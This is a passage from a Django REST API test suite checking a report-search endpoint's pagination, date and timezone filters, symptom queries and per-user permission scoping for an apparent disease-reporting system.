self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['reportId'], self.report1.report_id) self.assertEqual(report3['guid'], self.report1.guid) self.assertEqual(report3['reportTypeId'], self.report1.type.id) self.assertEqual(report3['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report3['negative'], self.report1.negative) self.assertEqual(report3['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report3['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report3['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) def test_api_report_search_with_pagination(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'page_size': 2 } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 2) params = { 'page_size': 2, 'page': 2 } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 1) def test_api_report_search_with_pagination_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'page_size': 2 } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 2) params = { 'page_size': 2, 'page': 2 } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) self.assertEqual(len(response_json['results']), 1) def test_api_report_search_filter_date_lt(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'date__lt': '2014-11-11T12:30:45Z' } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) self.assertEqual(len(response_json['results']), 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report1.id) def test_api_report_search_filter_date_lt_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'date__lt': '2014-11-11T12:30:45Z' } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) self.assertEqual(len(response_json['results']), 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report1.id) def test_api_report_search_return_report_only_administration_area_in_group_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) report = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) def test_api_report_search_return_report_only_report_type_in_group_role_reporter(self): group_r = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_REPORT_TYPE) newtype = factory.create_report_type() factory.create_group_report_type(group=group_r, report_type=newtype) report = factory.create_report(created_by=self.taeyeon, type=newtype, administration_area=self.area2) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) def test_api_report_search_with_form_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'withFormData': True } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['formData'], json.loads(self.report2.form_data)) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['formData'], json.loads(self.report3.form_data)) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['formData'], json.loads(self.report1.form_data)) def test_api_report_search_with_form_data_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'withFormData': True } response = self.client.get(reverse('reports_search'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) self.assertEqual(report1['formData'], json.loads(self.report2.form_data)) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) self.assertEqual(report2['formData'], json.loads(self.report3.form_data)) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) self.assertEqual(report3['formData'], json.loads(self.report1.form_data)) ''' def test_api_report_search_will_return_report_that_area_is_child_of_permitted_administration_area(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area, date=datetime.datetime(2014, 10, 9, 13, 30, 45)) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) report4 = response_json['results'][3] self.assertEqual(report4['id'], report.id) def test_api_report_search_will_return_report_that_area_is_child_of_permitted_administration_area_with_authority(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) report = factory.create_report(type=self.type1, administration_area=area, date=datetime.datetime(2014, 10, 9, 13, 30, 45)) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) report4 = response_json['results'][3] self.assertEqual(report4['id'], report.id) ''' def test_api_report_search_by_user(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'createdBy:%s' % self.taeyeon.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report1.id) def test_api_report_search_by_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'type:%s' % self.type2.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_search_by_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'administrationArea:%s' % self.area1.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_search_by_form_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': u'symptom:ปวดหัว', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) response = self.client.get(reverse('reports_search'), { 'q': 'symptom:fever', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_by_form_data_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': u'symptom:ปวดหัว', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) response = self.client.get(reverse('reports_search'), { 'q': 'symptom:fever', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_multiple_value_in_one_field(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': u'symptom:ปวดหัว OR symptom:fever', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_search_multiple_value_in_one_field_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': u'symptom:ปวดหัว OR symptom:fever', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 3) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) report3 = response_json['results'][2] self.assertEqual(report3['id'], self.report1.id) def test_api_report_search_greater_than_value(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'sickCount:[5 TO *]', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_search_greater_than_value_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'sickCount:[5 TO *]', }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_search_multiple_data(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=symptom:fever AND createdBy:%s AND type:%s AND administrationArea:%s' % ( self.taeyeon.id, self.type1.id, self.area1.id, )) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_search_multiple_data_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=symptom:fever AND createdBy:%s AND type:%s AND administrationArea:%s' % ( self.taeyeon.id, self.type1.id, self.area1.id, )) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_search_results_only_have_permission_on_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'type:%s' % self.type3.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_search_results_only_have_permission_on_report_type_with_authorit(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'type:%s' % self.type3.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_search_results_only_have_permission_on_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'administrationArea:%s' % self.area3.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_search_results_only_have_permission_on_administration_area_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search'), { 'q': 'administrationArea:%s' % self.area3.id }) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 0) def test_api_report_search_will_always_return_report_type_0(self): default_positive_type = ReportType.objects.get(id=0) factory.create_report(type=default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) ''' def test_api_report_search_will_always_return_report_type_0_with_authority(self): try: default_positive_type = ReportType.objects.get(id=0) except ReportType.DoesNotExist: default_positive_type = ReportType.objects.create(id=0, code='positive-report', name='positive report') factory.create_report(type=default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 4) ''' def test_api_report_search_date_today(self): today = datetime.date.today() tomorrow = today + datetime.timedelta(days=1) yesterday = today - datetime.timedelta(days=1) report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(today, datetime.time(0, 0))) report2 = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(tomorrow, datetime.time(0, 0))) report3 = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(23, 59))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: today') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_today_with_authority(self): today = datetime.date.today() tomorrow = today + datetime.timedelta(days=1) yesterday = today - datetime.timedelta(days=1) report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(today, datetime.time(0, 0))) report2 = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(tomorrow, datetime.time(0, 0))) report3 = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(23, 59))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: today') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_yesterday(self): yesterday = datetime.datetime.now() - datetime.timedelta(days=1) report = factory.create_report(type=self.type1, administration_area=self.area1, date=yesterday) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: yesterday') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_yesterday_with_authority(self): yesterday = datetime.datetime.now() - datetime.timedelta(days=1) report = factory.create_report(type=self.type1, administration_area=self.area1, date=yesterday) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: yesterday') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_this_week(self): report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.now()) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: this week') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_this_week_with_authority(self): report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.now()) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: this week') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_last_7_days(self): last7days = datetime.datetime.now() - datetime.timedelta(days=7) report = factory.create_report(type=self.type1, administration_area=self.area1, date=last7days) last10days = datetime.datetime.now() - datetime.timedelta(days=10) report10 = factory.create_report(type=self.type1, administration_area=self.area1, date=last10days) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: last 7 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_last_7_days_with_authority(self): last7days = datetime.datetime.now() - datetime.timedelta(days=7) report = factory.create_report(type=self.type1, administration_area=self.area1, date=last7days) last10days = datetime.datetime.now() - datetime.timedelta(days=10) report10 = factory.create_report(type=self.type1, administration_area=self.area1, date=last10days) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: last 7 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_last_10_days(self): last7days = datetime.datetime.now() - datetime.timedelta(days=7) report = factory.create_report(type=self.type1, administration_area=self.area1, date=last7days) last10days = datetime.datetime.now() - datetime.timedelta(days=10) report10 = factory.create_report(type=self.type1, administration_area=self.area1, date=last10days) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: last 10 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], report10.id) def test_api_report_search_last_10_days_with_authority(self): last7days = datetime.datetime.now() - datetime.timedelta(days=7) report = factory.create_report(type=self.type1, administration_area=self.area1, date=last7days) last10days = datetime.datetime.now() - datetime.timedelta(days=10) report10 = factory.create_report(type=self.type1, administration_area=self.area1, date=last10days) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: last 10 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], report10.id) def test_api_report_search_date_today_timezone(self): today = datetime.date.today() yesterday = today - datetime.timedelta(days=1) report_today = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(today, datetime.time(20, 0))) report_yesterday = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: today') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_yesterday.id) def test_api_report_search_date_today_timezone_with_authority(self): today = datetime.date.today() yesterday = today - datetime.timedelta(days=1) report_today = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(today, datetime.time(20, 0))) report_yesterday = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: today') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_yesterday.id) def test_api_report_search_date_yesterday_timezone(self): today = datetime.date.today() yesterday = today - datetime.timedelta(days=1) last_2_day = today - datetime.timedelta(days=2) report_yesterday = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(20, 0))) report_2_days_ago = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(last_2_day, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: yesterday') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_2_days_ago.id) def test_api_report_search_date_yesterday_timezone_with_authority(self): today = datetime.date.today() yesterday = today - datetime.timedelta(days=1) last_2_day = today - datetime.timedelta(days=2) report_yesterday = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(yesterday, datetime.time(20, 0))) report_2_days_ago = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(last_2_day, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: yesterday') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_2_days_ago.id) def test_api_report_search_date_this_week_timezone(self): today = datetime.date.today() week_start = today - datetime.timedelta(days=today.weekday()) before_week_start = week_start - datetime.timedelta(days=1) report_before_week_start = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(before_week_start, datetime.time(22, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: this week') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_before_week_start.id) def test_api_report_search_date_this_week_timezone_with_authority(self): today = datetime.date.today() week_start = today - datetime.timedelta(days=today.weekday()) before_week_start = week_start - datetime.timedelta(days=1) report_before_week_start = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(before_week_start, datetime.time(22, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: this week') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report_before_week_start.id) def test_api_report_search_date_last_7_days_timezone(self): today = datetime.date.today() last8days = today - datetime.timedelta(days=8) report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(last8days, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: last 7 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_last_7_days_timezone_with_authority(self): today = datetime.date.today() last8days = today - datetime.timedelta(days=8) report = factory.create_report(type=self.type1, administration_area=self.area1, date=datetime.datetime.combine(last8days, datetime.time(20, 0))) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: last 7 days') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], report.id) def test_api_report_search_date_date_range(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: [2014-11-09 TO 2014-11-11]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_date_range_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: [2014-11-09 TO 2014-11-11]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_date_range_timezone(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: [2014-11-09 TO 2014-11-11]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_date_range_timezone_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: [2014-11-09 TO 2014-11-11]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_datetime_range(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: [2014-11-09T12:00 TO 2014-11-11T15:00]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_datetime_range_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=date: [2014-11-09T12:00 TO 2014-11-11T15:00]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) report2 = response_json['results'][1] self.assertEqual(report2['id'], self.report3.id) def test_api_report_search_date_datetime_range_timezone(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: [2014-11-09T12:00 TO 2014-11-11T15:00]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) def test_api_report_search_date_datetime_range_timezone_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?tz=7&q=date: [2014-11-09T12:00 TO 2014-11-11T15:00]') self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) def test_api_report_search_area_name(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=area: %s' % self.area1.name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_search_area_name_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=area: %s' % self.area1.name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report2.id) def test_api_report_search_report_type_name(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=typeName: %s' % self.type2.name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report1.id) def test_api_report_search_report_type_name_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=typeName: %s' % self.type2.name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] 